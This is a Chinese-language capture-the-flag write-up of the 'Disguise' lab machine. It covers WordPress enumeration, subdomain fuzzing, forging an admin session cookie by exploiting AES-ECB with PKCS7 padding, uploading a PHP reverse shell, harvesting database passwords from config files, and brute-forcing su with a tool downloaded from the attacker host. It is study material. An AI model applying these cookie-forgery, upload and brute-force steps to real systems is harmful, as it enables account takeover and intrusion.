Disguise
信息搜集
端口扫描
┌──(kali㉿kali)-[~/temp/Disguise]
└─$ rustscan -a $IP -- -sCV
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
RustScan: Making sure 'closed' isn't just a state of mind.
[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.10.100:22
Open 192.168.10.100:80
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 7.9p1 Debian 10+deb10u4 (protocol 2.0)
| ssh-hostkey:
| 2048 93:a4:92:55:72:2b:9b:4a:52:66:5c:af:a9:83:3c:fd (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKpc4iyFhIzxDvlJoPvgE9rRlFPOqHm4EkLgqXQkVf31csyjpvJgyZpTgr4gYV3oztsMmQbIj+nFGD+L5pQfaSXtAdxKpqt4D/MnFqVKP6KKGFhATWMCDzGXRaXQyaF7dOq49vkIoptczAU2af2PfwycA3aaI/lNPOYSHPRufkm102lE/lHZzNbXh0yJJXy9RJaqELeAibmqdrHFNpXFT8qAvsQrz/6IKJkia4JLdVbfeMdZBOQ9lIlQg+2VfKXp7pF7kGZKKttIThc8ROqlcOaxlmuC5oKEgFQP7obty1+6fx/QIuNn3D05FeQMqbvJfFZF1dE2IH4WEbFWRGH6w1
| 256 1e:a7:44:0b:2c:1b:0d:77:83:df:1d:9f:0e:30:08:4d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAYupwIuJVRtRMDrYZ6fR/3p5E5vsqXADwGAoZ2RW5vKPxDV3j/+QjGbnRDj1iD5/iwZxxlUggSr5raZfzAHrZA=
| 256 d0:fa:9d:76:77:42:6f:91:d3:bd:b5:44:72:a7:c9:71 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAOshh8VG4l9hWlVYWfAvLuWuwPEdiF8EXmm5BFib/+q
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.59 ((Debian))
|_http-server-header: Apache/2.4.59 (Debian)
|_http-title: Maintenance
MAC Address: 08:00:27:B4:46:05 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
目录扫描
┌──(kali㉿kali)-[~/temp/Disguise]
└─$ feroxbuster -u http://$IP/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html txt php 2>/dev/null
403 GET 9l 28w 279c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
503 GET 115l 268w 2449c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301 GET 9l 28w 321c http://192.168.10.100/wp-content => http://192.168.10.100/wp-content/
200 GET 0l 0w 0c http://192.168.10.100/wp-content/index.php
301 GET 9l 28w 328c http://192.168.10.100/wp-content/themes => http://192.168.10.100/wp-content/themes/
301 GET 9l 28w 329c http://192.168.10.100/wp-content/uploads => http://192.168.10.100/wp-content/uploads/
200 GET 0l 0w 0c http://192.168.10.100/wp-content/themes/index.php
200 GET 384l 3177w 19903c http://192.168.10.100/license.txt
一扫就卡住了。。。。但是发现是wordpress
站点。
wordpress扫描
┌──(kali㉿kali)-[~/temp/Disguise]
└─$ cmseek --url http://192.168.10.100
[i] Updating CMSeeK result index...
[*] Report index updated successfully!
___ _ _ ____ ____ ____ _ _
| |\/| [__ |___ |___ |_/ by @r3dhax0r
|___ | | ___| |___ |___ | \_ Version 1.1.3 K-RONA
[+] CMS Detection And Deep Scan [+]
[i] Scanning Site: http://192.168.10.100/
[*] CMS Detected, CMS ID: wp, Detection method: header
[*] Version Detected, WordPress Version 6.8.1
[i] Checking user registration status
[i] Starting passive plugin enumeration
[x] No plugins enumerated!
[i] Starting passive theme enumeration
[*] 2 themes detected!
[i] Starting Username Harvest
[i] Harvesting usernames from wp-json api
[*] Found user from wp-json : simpleadmin
[i] Harvesting usernames from jetpack public api
[!] No results from jetpack api... maybe the site doesn't use jetpack
[i] Harvesting usernames from wordpress author Parameter
[*] Found user from source code: simpleadmin
[*] 1 Usernames was enumerated
[i] Checking version vulnerabilities using wpvulns.com
[x] Error Retriving data from wpvulndb
___ _ _ ____ ____ ____ _ _
| |\/| [__ |___ |___ |_/ by @r3dhax0r
|___ | | ___| |___ |___ | \_ Version 1.1.3 K-RONA
[+] Deep Scan Results [+]
┏━Target: 192.168.10.100
┃
┠── CMS: WordPress
┃ │
┃ ├── Version: 6.8.1
┃ ╰── URL: https://wordpress.org
┃
┠──[WordPress Deepscan]
┃ │
┃ ├── Readme file found: http://192.168.10.100//readme.html
┃ ├── License file: http://192.168.10.100//license.txt
┃ ├── Uploads directory has listing enabled: http://192.168.10.100//wp-content/uploads
┃ │
┃ ├── Themes Enumerated: 2
┃ │ │
┃ │ ├── Theme: newscrunch
┃ │ │ │
┃ │ │ ├── Version: 6.8.1
┃ │ │ ╰── URL: http://192.168.10.100//wp-content/themes/newscrunch
┃ │ │
┃ │ ╰── Theme: newsblogger
┃ │ │
┃ │ ├── Version: 6.8.1
┃ │ ╰── URL: http://192.168.10.100//wp-content/themes/newsblogger
┃ │
┃ │
┃ ├── Usernames harvested: 1
┃ │ ╰── simpleadmin
┃ │
┃
┠── Result: /home/kali/temp/Disguise/Result/192.168.10.100/cms.json
┃
┗━Scan Completed in 1.21 Seconds, using 46 Requests
CMSeeK says ~ shalom
尝试使用wpscan
进行测试:https://github.com/wpscanteam/wpscan/wiki/WPScan-User-Documentation
┌──(kali㉿kali)-[~/temp/Disguise]
└─$ wpscan --url http://$IP/ -e vp --plugins-detection mixed --api-token xxxxxxxxxxxxxxx
_______________________________________________________________
[i] Plugin(s) Identified:
[+] akismet
| Location: http://192.168.10.100/wp-content/plugins/akismet/
| Latest Version: 5.4
| Last Updated: 2025-05-07T16:30:00.000Z
|
| Found By: Known Locations (Aggressive Detection)
| - http://192.168.10.100/wp-content/plugins/akismet/, status: 403
|
| [!] 1 vulnerability identified:
|
| [!] Title: Akismet 2.5.0-3.1.4 - Unauthenticated Stored Cross-Site Scripting (XSS)
| Fixed in: 3.1.5
| References:
| - https://wpscan.com/vulnerability/1a2f3094-5970-4251-9ed0-ec595a0cd26c
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-9357
| - http://blog.akismet.com/2015/10/13/akismet-3-1-5-wordpress/
| - https://blog.sucuri.net/2015/10/security-advisory-stored-xss-in-akismet-wordpress-plugin.html
|
| The version could not be determined.
┌──(kali㉿kali)-[~/temp/Disguise]
└─$ wpscan --url http://$IP/ -e u --api-token QgjGEj5XxGc1lJEYv4jXvhLKKWIbJqyqIUvjQnb84Jc
-------------------------------
[i] User(s) Identified:
[+] simpleadmin
| Found By: Wp Json Api (Aggressive Detection)
| - http://192.168.10.100/wp-json/wp/v2/users/?per_page=100&page=1
| Confirmed By:
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] simpleAdmin
| Found By: Rss Generator (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
找到了俩用户simpleadmin
以及simpleAdmin
,前者大概率为wordpress
的用户,后者未知。
漏洞发现
踩点
访问也慢的一批,可能是做了啥配置?重启靶机进行测试:
┌──(kali㉿kali)-[~/temp/Disguise]
└─$ whatweb http://$IP/
http://192.168.10.100/ [200 OK] Apache[2.4.59], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.59 (Debian)], IP[192.168.10.100], JQuery[3.7.1], MetaGenerator[WordPress 6.8.1], Script[speculationrules,text/javascript], Title[Just a simple wordpress site], UncommonHeaders[link], WordPress[6.8.1], X-UA-Compatible[IE=edge]
看看常用得敏感目录:
┌──(kali㉿kali)-[~/temp/Disguise]
└─$ curl -s http://$IP/robots.txt
User-agent: *
Disallow: /wp-admin/
Allow: /wp-admin/admin-ajax.php
查看主页源代码,发现域名解析:
192.168.10.100 disguise.hmv
FUZZ
┌──(kali㉿kali)-[~/temp/Disguise]
└─$ ffuf -u "http://192.168.10.100" -H "Host: FUZZ.disguise.hmv" -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -fw 11916 2>/dev/null
www [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 327ms]
dark [Status: 200, Size: 873, Words: 124, Lines: 19, Duration: 185ms]
有隐藏域名,添加一下:
192.168.10.100 disguise.hmv dark.disguise.hmv
┌──(kali㉿kali)-[~/temp/Disguise]
└─$ gobuster dir -u http://dark.disguise.hmv -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html -t 50
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://dark.disguise.hmv
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,txt,html
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 282]
/index.php (Status: 200) [Size: 873]
/.html (Status: 403) [Size: 282]
/login.php (Status: 200) [Size: 1134]
/register.php (Status: 200) [Size: 2103]
/profile.php (Status: 302) [Size: 0] [--> login.php]
/images (Status: 301) [Size: 323] [--> http://dark.disguise.hmv/images/]
/logout.php (Status: 302) [Size: 0] [--> login.php]
/config.php (Status: 200) [Size: 0]
/captcha.php (Status: 200) [Size: 367]
/functions.php (Status: 200) [Size: 0]
/manager (Status: 301) [Size: 324] [--> http://dark.disguise.hmv/manager/]
/.php (Status: 403) [Size: 282]
/.html (Status: 403) [Size: 282]
/server-status (Status: 403) [Size: 282]
我这里出现修改
hosts
失效,访问 502,后查明是因为开了代理。。。。。。
AES-128 ECB伪造cookie
打开新域名看一下:
尝试进行注册:
怎么感觉像 cursor 写的,哈哈哈哈。
username
password
没东西,但是 cookie 看上去有点东西:
dark_session: %2BRofqaf35NZSFE50nowHdw%3D%3D
PHPSESSID: 1j48gohlqpqf9knohfbac7bm0q
尝试进行破译:
看上去像是base64
但是又不一样,有 +
,尝试再创建一个账号对比一下:
kali
kali
cookie 则为:
dark_session: NL8B2mVVM8jKIu9pbCLIyw%3D%3D
PHPSESSID: 1j48gohlqpqf9knohfbac7bm0q
解码以后分别为:
+Rofqaf35NZSFE50nowHdw==
NL8B2mVVM8jKIu9pbCLIyw==
AES-128加密
位数一样,由于密码截然不一样,看不出关系,尝试多注册几个:
aaaa:bbbb:4
aaaaaaaa:bbbbbbbb:8
aaaaaaaaaaaaaaaa:bbbbbbbbbbbbbbbb:16
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb:32
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
========>
e3Opvt7372tUQCmdavBBxA%3D%3D
5SKl5Bbstz3e0GrQ8QBCkA%3D%3D
FUoxH12UY%2FN58pkbRNAAfw3VkIUgMs7BjIoGhLHIvrE%3D
FUoxH12UY%2FN58pkbRNAAf0Kfd1bvz3G39ZMOl2HnjTEN1ZCFIDLOwYyKBoSxyL6x
e3Opvt7372tUQCmdavBBxA==
5SKl5Bbstz3e0GrQ8QBCkA==
FUoxH12UY/N58pkbRNAAfw3VkIUgMs7BjIoGhLHIvrE=
FUoxH12UY/N58pkbRNAAf0Kfd1bvz3G39ZMOl2HnjTEN1ZCFIDLOwYyKBoSxyL6x
前端进行校验了,可以禁用掉 js,再注册即可:
当进行到最后一个的时候报错了:
发现在用户名或密码长的时候,前面的前缀是一样的,但是后面截然不同,且当用户名或密码长度不同时,cookie长度可能相同,说明可能是块加密方式,在长度不够的时候进行填充,达到一定位数的时候进行加密,可以通过一个一个注册得到那个位数,可以基本确定是 AES128 加密。
特性 AES-128 AES-192 AES-256 密钥长度 128 位(16 字节) 192 位(24 字节) 256 位(32 字节) 加密轮数 10 轮 12 轮 14 轮 安全强度 基础安全性(抗暴力破解需 2128 次) 中等安全性(2192 次) 最高安全性(2256 次) 性能开销 最低(计算最快) 中等 最高(计算最慢) 适用场景 移动设备、实时通信(如 TLS 1.3) 企业级数据加密(较少使用) 军事、金融、区块链等高敏感领域
然后意识到一个有意思的地方,这个cookie应该和密码没关系,因为我们需要构造的正是管理员simpleAdmin
(信息搜集到的)的cookie,如果有密码就不需要进行构造了。。。。。
再注册几个找到恰好多分一个块的那个特殊长度:
aaaaaaaaaa ==> Hxs4O2FVu%2FQM9EqHsnvrOA%3D%3D ==> Hxs4O2FVu/QM9EqHsnvrOA==
aaaaaaaaaaaa ==> FUoxH12UY%2FN58pkbRNAAf8JwkfrsOdSxW16pbszGJLY%3D ==> FUoxH12UY/N58pkbRNAAf8JwkfrsOdSxW16pbszGJLY=
FUoxH12UY/N58pkbRNAAfw3VkIUgMs7BjIoGhLHIvrE=
aaaaaaaaaaa ==> OuQ8RKZ9v61RFPShspbyzg%3D%3D ==> OuQ8RKZ9v61RFPShspbyzg==
可以直到长度为 12 时候加密多了一块,可知填充了 5 个字节的未知数据,12 + 5 -16 = 1 ,多了一个字节,故新填充了一个块。
ECB 加密
尝试创建一个很长且重复的用户,使两个块的长度相同,看看是否存在重复,借此判断是哪种填充方式:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa(40)
FUoxH12UY%2FN58pkbRNAAf0Kfd1bvz3G39ZMOl2HnjTG6fpyT%2BeTDSMZZI3t8yCtj
FUoxH12UY/N58pkbRNAAf0Kfd1bvz3G39ZMOl2HnjTG6fpyT+eTDSMZZI3t8yCtj
# 再长一点,并未多分出一个块。。。。
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa(45)
FUoxH12UY%2FN58pkbRNAAf0Kfd1bvz3G39ZMOl2HnjTFCn3dW789xt%2FWTDpdh540xx5DP1Yb6SI4MM0Hr7sTwjg%3D%3D
FUoxH12UY/N58pkbRNAAf0Kfd1bvz3G39ZMOl2HnjTFCn3dW789xt/WTDpdh540xx5DP1Yb6SI4MM0Hr7sTwjg==
将密文改为url > base64 > hex
解密即可看到重复:
可以确定是ECB
加密方式,其他加密方式基本上都不会出现重复,会出现轮转之类的好像。
PKCS7填充
有两种填充方式猜测:
-
PKCS7 Padding:填充字节的值等于缺少的字节数,
- 缺 3 字节 → 填充
0x03 0x03 0x03
- 缺 16 字节 → 填充
0x10 0x10 ... 0x10
(共 16 字节)
- 缺 3 字节 → 填充
-
Zero Padding:缺失字节用
0x00
填充。- 缺 3 字节 → 填充
0x00 0x00 0x00
- 缺 16 字节 → 填充 16 个
0x00
- 缺 3 字节 → 填充
这里的 12 位字节填充成了俩块,但是 11 却只有一个块,所以 12 填充了一整个块,或者说 11 填充完一个恰好成为一个块,故最后填充的是0x01
,还添加了一个 4 字节长度的salt
值,很难理解是吗,我也是这么想的。。
菜狗me:难道不可能恰好16个字节不就不用填充了?
伟大的AI:PKCS7填充规则是当数据长度不足块大小时,补足到块大小的整数倍。而如果数据刚好是块大小的整数倍,比如AES的16字节,仍然需要填充一个完整的块。例如,16字节的数据会被填充16个字节的0x10。这样做的目的是为了区分有效数据和填充数据。
额,密码学真是一门伟(kong)大(bu)的学问。。。。
伪造不同用户名但cookie相同的情况
这样的话我们就可以知道目标的情况了,但是我们还有一点需要解决,那就是盐的位置,之前长度超标的密文前缀都是相同的,且不重复,说明盐是在明文前面的,比如:
FUoxH12UY/N58pkbRNAAfw3VkIUgMs7BjIoGhLHIvrE=
FUoxH12UY/N58pkbRNAAf0Kfd1bvz3G39ZMOl2HnjTEN1ZCFIDLOwYyKBoSxyL6x
所以现在所有的问题都解决了:
simpleAdmin
为管理员用户,共 11 字节dark_session
由salt + username + PKCS7
先 base64 再 url 编码构成。- 4 + 11 + 1 == 4 + (11 + 1)即
simpleAdmin
与用户simpleAdmin0x01
构成的密文前面完全相同!!!!后者多了一个完全由0x10
组成的填充块,可以视而不见!
进行注册,url编码需要使用%01
进行控制,尝试进行抓包:
POST /register.php HTTP/1.1
Host: dark.disguise.hmv
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
Accept-Language: zh-CN,zh;q=0.9
Referer: http://dark.disguise.hmv/register.php
Origin: http://dark.disguise.hmv
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=jpk0kguhvfp65sbi3ut4d183hs
Content-Length: 36
username=a&password=a&captcha=2JVL8C
进行修改,我这里因为误操作,导致创建了错误的用户名,只能重新导入靶机再来了。。。。
导入完靶机,IP变了,Yakit也要重启,否则好像不更新 hosts
POST /register.php HTTP/1.1
Host: dark.disguise.hmv
Referer: http://dark.disguise.hmv/register.php
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=o6qrldi4ugpjot3gcibnhi6ndl
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Origin: http://dark.disguise.hmv
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Content-Length: 43
username=simpleAdmin%01&password=aaaa&captcha=564B93
看一下响应:
啥情况啊这。。。。。我之前还以为我搞错了呢。。。。不管他劫持,然后直接修改完直接放行即可:
POST /register.php HTTP/1.1
Host: dark.disguise.hmv
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Cache-Control: max-age=0
Cookie: PHPSESSID=o6qrldi4ugpjot3gcibnhi6ndl
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Origin: http://dark.disguise.hmv
Upgrade-Insecure-Requests: 1
Referer: http://dark.disguise.hmv/register.php
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 43
username=simpleAdmin%01&password=pass&captcha=EGW42R
记得多放行几次,完成跳转才算注册成功!!!!
然后再劫持登录界面,修改用户名登录即可获取dark_session
:
POST /login.php HTTP/1.1
Host: dark.disguise.hmv
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=cfbf7fm4s3lo22ggj87mpshcnk
Accept-Language: zh-CN,zh;q=0.9
Origin: http://dark.disguise.hmv
Content-Type: application/x-www-form-urlencoded
Referer: http://dark.disguise.hmv/login.php
Content-Length: 28
username=simpleAdmin%01&password=pass
获得相关内容:
GET /profile.php HTTP/1.1
Host: dark.disguise.hmv
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Referer: http://dark.disguise.hmv/login.php
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=cfbf7fm4s3lo22ggj87mpshcnk; dark_session=%2B1%2B3%2FNxCLcIR0Jq9qDudF8JwkfrsOdSxW16pbszGJLY%3D
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
尝试进行解密,伪造相关内容:
fb5fb7fcdc422dc211d09abda83b9d17c27091faec39d4b15b5ea96eccc624b6
fb5fb7fcdc422dc211d09abda83b9d17
c27091faec39d4b15b5ea96eccc624b6
咱们只要上面的就行了!!!!
%2B1%2B3%2FNxCLcIR0Jq9qDudFw%3D%3D
使用这个dark_session
即可进行伪造登录!(直接替换原有的再刷新即可!)
上传文件反弹shell
看看有啥权限可以进行获取shell!!!
可以上传文件!!!!!尝试上传一个反弹shell,看看能不能进行激活:
可以正常上传 php 文件,尝试找一下地址:
发现了一处参数传递,看上去就是咱们的反弹shell,访问看看是否可以弹回shell,但是失败了。。。。。
只能读取,不能执行,之前信息搜集的时候遇到了:
/images (Status: 301) [Size: 323] [--> http://dark.disguise.hmv/images/]
猜测文件可能重命名了,被放入了/image
文件夹下,尝试构造报错观察回显:
尝试修改敏感数据,比如价格,改成符合sql字符的混乱,比如加个单引号之类的,捣乱你懂吧:
得到文件地址,尝试访问,拿到shell!!!!
http://dark.disguise.hmv/images/99e767ec86972d42e5eff8c47f616470.php
提权
su爆破用户弱密码
(remote) www-data@disguise:/$ cat /etc/passwd | grep sh | cut -d: -f1
root
sshd
darksoul
(remote) www-data@disguise:/$ ls -la /home
total 12
drwxr-xr-x 3 root root 4096 Mar 31 11:19 .
drwxr-xr-x 18 root root 4096 Mar 31 11:13 ..
drwxr-xr-x 4 darksoul darksoul 4096 Apr 2 04:19 darksoul
(remote) www-data@disguise:/$ cd ~
(remote) www-data@disguise:/var/www$ ls -la
total 16
drwxr-xr-x 4 root root 4096 Mar 31 21:07 .
drwxr-xr-x 12 root root 4096 Mar 31 11:33 ..
drwxr-xr-x 4 www-data www-data 4096 Apr 2 04:39 dark
drwxr-x--- 5 www-data www-data 4096 Apr 2 05:33 html
(remote) www-data@disguise:/var/www$ cd dark
(remote) www-data@disguise:/var/www/dark$ ls -la
total 76
drwxr-xr-x 4 www-data www-data 4096 Apr 2 04:39 .
drwxr-xr-x 4 root root 4096 Mar 31 21:07 ..
-rw-r--r-- 1 root root 905 Mar 31 23:01 captcha.php
-rw-r--r-- 1 root root 95 Apr 1 03:58 config.php
-rw-r--r-- 1 root root 1736 Apr 1 21:24 functions.php
-rw-r--r-- 1 root root 660 Apr 1 05:13 image_handler.php
drwxr-xr-x 2 www-data www-data 4096 Jun 20 13:47 images
-rw-r--r-- 1 root root 1225 Apr 1 05:16 index.php
-rw-r--r-- 1 root root 2088 Apr 1 04:14 login.php
-rw-r--r-- 1 root root 237 Mar 31 22:00 logout.php
drwxr-xr-x 2 root root 4096 Apr 1 22:59 manager
-rw-r--r-- 1 root root 1142 Apr 1 21:29 profile.php
-rw-r--r-- 1 root root 4080 Apr 1 04:28 register.php
-rw-r--r-- 1 root root 4350 Mar 31 22:49 style1.css
-rw-r--r-- 1 root root 4474 Apr 1 03:40 style2.css
-rw-r--r-- 1 root root 2342 Apr 1 03:41 style3.css
-rw-r--r-- 1 root root 2801 Apr 1 04:43 style4.css
(remote) www-data@disguise:/var/www/dark$ cat config.php
<?php
$DB_USER = 'dark_db_admin';
$DB_PASS = 'Str0ngPassw0d1***';
$DB_NAME = 'dark_shop';
?>
数据库密码遮住了三位Str0ngPassw0d1***
,尝试进行检索。。。。
(remote) www-data@disguise:/var/www/dark$ grep -Pnir "Str0ngPassw0d1" /var/ 2>/dev/null
/var/www/dark/config.php:4:$DB_PASS = 'Str0ngPassw0d1***';
/var/www/html/wp-config.php:29:define( 'DB_PASSWORD', 'Str0ngPassw0d1!!!' );
(remote) www-data@disguise:/var/www/dark$ grep -Pnir "Str0ngPassw0d1" /home/ 2>/dev/null
/home/darksoul/config.ini:3:password = Str0ngPassw0d1***
尝试密码进行登录,但是失败了,尝试使用脚本创建一个字典,然后使用相关脚本进行爆破,这里因为我看了师傅们的部分wp,知道了密码,故使用简洁脚本节省时间,否则使用suForce
需要等待较长时间。。。这里参考群主的解决方案,足够优雅和简洁:
┌──(kali㉿kali)-[~/temp/Disguise]
└─$ python
Python 3.13.3 (main, Apr 10 2025, 21:38:51) [GCC 14.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import string
>>> for i in string.printable:
... print(i)
...
0
1
2
3
4
5
6
7
8
9
a
b
c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
t
u
v
w
x
y
z
A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z
!
"
#
$
%
&
'
(
)
*
+
,
-
.
/
:
;
<
=
>
?
@
[
\
]
^
_
`
{
|
}
~
将其复制到靶机,然后:
(remote) www-data@disguise:/tmp$ awk '{print "Str0ngPassw0d1"$0$0$0}' dic > aaa
再下载suForce
尝试进行爆破:
(remote) www-data@disguise:/tmp$ wget http://192.168.10.107:8888/suForce
--2025-06-20 14:21:57-- http://192.168.10.107:8888/suForce
Connecting to 192.168.10.107:8888... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2430 (2.4K) [text/plain]
Saving to: 'suForce'
suForce 100%[====================================================================================================>] 2.37K --.-KB/s in 0s
2025-06-20 14:21:57 (575 MB/s) - 'suForce' saved [2430/2430]
(remote) www-data@disguise:/tmp$ chmod +x suForce
(remote) www-data@disguise:/tmp$ ./suForce -u darksoul -w aaa
_____
___ _ _ | ___|__ _ __ ___ ___
/ __| | | || |_ / _ \| '__/ __/ _ \
\__ \ |_| || _| (_) | | | (_| __/
|___/\__,_||_| \___/|_| \___\___|
───────────────────────────────────
code: d4t4s3c version: v1.0.0
───────────────────────────────────
🎯 Username | darksoul
📖 Wordlist | aaa
🔎 Status | 94/94/100%/Str0ngPassw0d1~~~
❗ Fuck! | Password not found
───────────────────────────────────
(remote) www-data@disguise:/tmp$ ./suForce -u darksoul -w aaa
_____
___ _ _ | ___|__ _ __ ___ ___
/ __| | | || |_ / _ \| '__/ __/ _ \
\__ \ |_| || _| (_) | | | (_| __/
|___/\__,_||_| \___/|_| \___\___|
───────────────────────────────────
code: d4t4s3c version: v1.0.0
───────────────────────────────────
🎯 Username | darksoul
📖 Wordlist | aaa
🔎 Status | 83/94/88%/Str0ngPassw0d1???
💥 Password | Str0ngPassw0d1???
───────────────────────────────────
不行就多跑几遍:Str0ngPassw0d1???
尝试切换用户。
定时任务
darksoul@disguise:/tmp$ cd ~
darksoul@disguise:~$ ls -la
total 40
drwxr-xr-x 4 darksoul darksoul 4096 Apr 2 04:19 .
drwxr-xr-x 3 root root 4096 Mar 31 11:19 ..
lrwxrwxrwx 1 root root 9 Apr 2 00:16 .bash_history -> /dev/null
-rw-r--r-- 1 darksoul darksoul 220 Mar 31 11:19 .bash_logout
-rw-r--r-- 1 darksoul darksoul 3526 Mar 31 11:19 .bashrc
-rw-r--r-- 1 root root 114 Apr 2 04:03 config.ini
-rw-r--r-- 1 root root 31 Jun 20 14:26 darkshopcount
drwx------ 3 darksoul darksoul 4096 Apr 1 10:03 .gnupg
drwxr-xr-x 3 darksoul darksoul 4096 Apr 1 10:04 .local
-rw-r--r-- 1 darksoul darksoul 807 Mar 31 11:19 .profile
-rw------- 1 darksoul darksoul 68 Apr 2 04:22 user.txt
darksoul@disguise:~$ cat user.txt
Good good study & Day day up,but where is the flag?
darksoul@disguise:~$ cat -A user.txt
Good good study & Day day up,but where is the flag?$
hmv{hiddenflag}^Mdarksoul@disguise:~$ xxd user.txt
00000000: 476f 6f64 2067 6f6f 6420 7374 7564 7920 Good good study
00000010: 2620 4461 7920 6461 7920 7570 2c62 7574 & Day day up,but
00000020: 2077 6865 7265 2069 7320 7468 6520 666c where is the fl
00000030: 6167 3f0a 686d 767b 6869 6464 656e 666c ag?.hmv{hiddenfl
00000040: 6167 7d0d ag}.
实际上是输出了,但是又被覆盖了,所以没看到。0d
代表回车符,光标回到行首,继续输出。
darksoul@disguise:~$ cat /etc/cron*
cat: /etc/cron.d: Is a directory
cat: /etc/cron.daily: Is a directory
cat: /etc/cron.hourly: Is a directory
cat: /etc/cron.monthly: Is a directory
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
